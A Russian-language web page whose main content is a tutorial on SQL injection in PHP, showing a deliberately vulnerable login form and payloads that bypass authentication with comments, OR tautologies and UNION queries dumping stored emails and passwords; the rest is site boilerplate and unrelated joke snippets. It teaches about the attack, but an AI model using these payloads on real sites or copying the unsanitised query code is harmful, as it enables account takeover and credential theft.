SEO продвижение сайтов

SQL инъекции в PHP

Конечно, SQL инъекции в PHP возможны только при отсутствии проверки данных из форм и при наличии явных ошибках программистов. Я пишу эту статью для тех, кто НЕ хочет стать жертвой таких атак на свой сайт и для тех, кто хочет писать свои безопасные приложения.

Пишем форму для отправки логина и пароля для АВТОРИЗАЦИИ:

<form action="" method="POST">
        <input type="text" name="email" value="<?=$email?>"><br>
        <input type="text" name="pass" value="<?=$pass?>"><br>
        <input type="submit" name="subm" value="Авторизоваться">
</form>

А в PHP-коде пишем:

<?php
if ($_POST['subm'])
{
    $email=$_POST['email'];//Логин
    $pass =$_POST['pass']; //Пароль

    echo
    $sql="SELECT `name` FROM `users` WHERE `email`='$email' AND `pass`='$pass';";//Готовим SQL-запрос...
    //...и тд...
?>

Теперь в форму пишем логин (E-mail) и пароль.

  • Логин: Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.
  • Пароль: 123

...и получаем такой SQL-запрос:

SELECT `name` FROM `users` WHERE `email`='Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.' AND `pass`='123';

Если это запрос возвращает одну строку с именем, значит создаём сессию авторизации и погнали... Стандартная авторизация.

ТЕПЕРЬ: Как авторизоваться без пароля или вообще получить список логинов и паролей к ним..?

Добавляем -- (однострочный комментарий)

  • Логин: Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.'; --
  • Пароль: не важно...

Обязательно поставить пробел после -- - это однострочный комментарий в MySQL.

    Получим такой SQL-запрос:
SELECT `name` FROM `users` WHERE `email`='Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.'; -- ' AND `pass`='не важно...';

Это и есть авторизация без пароля... Круто?

Добавляем OR (или)

А если в форму ввести:

  • Логин: Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.
  • Пароль: ' OR `pass`!='

Получим такой SQL-запрос:

SELECT `name` FROM `users` WHERE `email`='Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.' AND `pass`='' OR `pass`!='';

Добавляем UNION (объединение запросов)

Ключевое слово UNION применяется для объединения двух и более SQL-запросов в единую таблицу, при этом количество полей должно быть одинаковым.

  • Логин: Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.
  • Пароль: ' OR `pass`!='' UNION SELECT email FROM `users` WHERE `email`!='' UNION SELECT pass FROM `users` WHERE `email`!='

Получим такой SQL-запрос:

SELECT `name` FROM `users` WHERE `email`='Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.' AND `pass`='' OR `pass`!=''
UNION SELECT email FROM `users` WHERE `email`!='' 
UNION SELECT pass FROM `users` WHERE `email`!='';

Объединяются три запроса и код возвращает списки: имена, логины и пароли... Всё, добро пожаловать на сайт, НОВЫЙ господин!))

Количество полей можно определить с помощью подбора:

  • ...UNION SELECT 1...
  • ...UNION SELECT 1, 2...
  • ...UNION SELECT 1, 2, 3...
  • и тд...
  • или ...GROUP BY...

Весь код выглядит так...

MySQL - создаём таблицу и наполняем её:

--
-- База данных: `sasha` и структура таблицы `users`
--
CREATE TABLE `users` (
  `id` int(10) NOT NULL,
  `name` varchar(20) NOT NULL,
  `email` varchar(20) NOT NULL,
  `pass` varchar(10) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

--
-- Дамп данных таблицы `users`
--
INSERT INTO `users` (`id`, `name`, `email`, `pass`) VALUES
(1, 'Геннадий', 'Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.', '123'),
(2, 'Саша', 'Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.', '456');

PHP и HTML код:

<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous">
<div style="width:100%; max-width:800px; margin:0 auto;">
<?php
    //Это данные для подключения к MySQL
    $host='localhost'; // адрес сервера 
    $user='root';      // Login
    $pasB='';          // Пароль
    $base='sasha';     // Имя базы данных

    echo '<h2>У вас PHP '.phpversion()."версия</h2>\n";

if ($_POST['subm'])
{
    $email=$_POST['email'];
    $pass=$_POST['pass'];

    echo
    $sql="SELECT `name` FROM `users` WHERE `email`='$email' AND `pass`='$pass';";

    @$con=mysql_connect($host,$user,$pasB); //Соединение с Mysql echo $put;
    if ($con)
    {
    mysql_select_db($base);//Выбрать базу
    echo "<h4>Подключились mysql_connect()!</h4>\n";

    mysql_query('SET NAMES utf8');//Кодировка
    $rs=mysql_query($sql,$con);

    while ($row=mysql_fetch_assoc($rs)) 
         print_rG($row,1);

    mysql_close($con);//Закрываем подключение
    }   
    else 
        echo "Подключение не удалось mysql_connect !<br>\n";//exit;
}

function print_rG($m,$v=0)
{
    $r="\n<pre>".print_r($m,TRUE)."</pre>\n";
    if ($v==0)
        return $r;
    else
        echo $r;
}
?>
    <h1 id="rz"><a href="/">Форма</a></h1>
    <p>ИМЯ: </p>
    <form action="#rz" method="POST">
        <input type="text" name="email" style="width:100%;" value="<?=$email?>"><br><br>
        <input type="text" name="pass" style="width:100%;" value="<?=$pass?>"><br><br>
        <input type="submit" name="subm" value="Авторизоваться">
    </form>
</div>

Автор: Алехин Геннадий (15.02.2020)

Добавить комментарий


Защитный код
Обновить

Ошибки в тексте выделить и Ctrl+Enter


Расскажи о нас друзьям

Web-технологии

SQL инъекции в PHP

Конечно, SQL инъекции в PHP возможны только при отсутствии проверки данных из форм и при наличии явных ошибках программистов. Я пишу эту статью для тех, кто НЕ хочет стать жертвой таких атак на свой сайт и для тех, кто хочет писать свои безопасные приложения.

Пишем форму для отправки логина и пароля для АВТОРИЗАЦИИ:

<form action="" method="POST">
        <input type="text" name="email" value="<?=$email?>"><br>
        <input type="text" name="pass" value="<?=$pass?>"><br>
        <input type="submit" name="subm" value="Авторизоваться">
</form>
Подробнее...

PHP-код вывода массивов в HTML

Все программисты PHP (с любым уровнем подготовки), конечно знаю, как вывести массив PHP в HTML-код: ну, конечно же через цикл!

Я предлагаю это сделать при помощи функции, которая отобразит любой массив в любом виде c HTML оформлением. Данной функции мы передаём в качестве аргументов: массив и формат отображения его в виде другой функции.

Такой подход даёт универсальность данной функции отображения массива и значительно сокращает дублирование PHP кода.

Пример:

Подробнее...

Composer — менеджер зависимостей в PHP

https://getcomposer.org/

  • Запускаем Open Server, открываем консоль,
  • Переходим в папку проекста - cd C:\Users\alehin_gv\Desktop\OSPanel\domains\test.ru
  • Скачиваем Композер - composer init
  • Устанавливается composer.json
Подробнее...
Интересные статьи

Стишки-депрессяшки

Стишки-депрессяшки

У меня нет попы

у меня нет тить

я должна работать

чтобы как то жить

©

В камасутре много

интересных поз

жаль у нас с женою

остеохондроз

©

Надо же приснится

всякая херня

прямо на работе

среди бела дня

Подробнее...

Почему или резонные вопросы

Почему или резонные вопросы

Хотель бы получить ответы на такие вопросы:

  1. Почему современные технологии одновременно позволяют производить банки для пива, которые не разлагаются на свалке за 100 лет, и кузова автомобилей, которые гниют за 3-4 года?
  2. Почему лимонный сок сделан из концентрата, а средство для мытья посуды – из настоящего лимона?
  3. Почему белая нитка, которой соединены новые носки, всегда оказывается прочнее, чем нитки, из которых сделаны сами носки?
Подробнее...

Детские загадки для взрослых

murzilka m

*Загадки, которые были опубликованы в журнале "Мурзилка" 30 лет назад!!! Сегодня они не для детей точно: ))*

1. Чтобы спереди погладить, нужно сзади полизать. (Почтовая марка)

2. Кругом волоса, посредине колбаса. (Кукуруза)

3. Сверху черно внутри красно, как засунешь так прекрасно. (Галоши)

Подробнее...

Оставить заявку

Закрыть
Заполните фрму и отправьте нам заяку
Заполните все обязательные поля*
captcha
Перезагрузить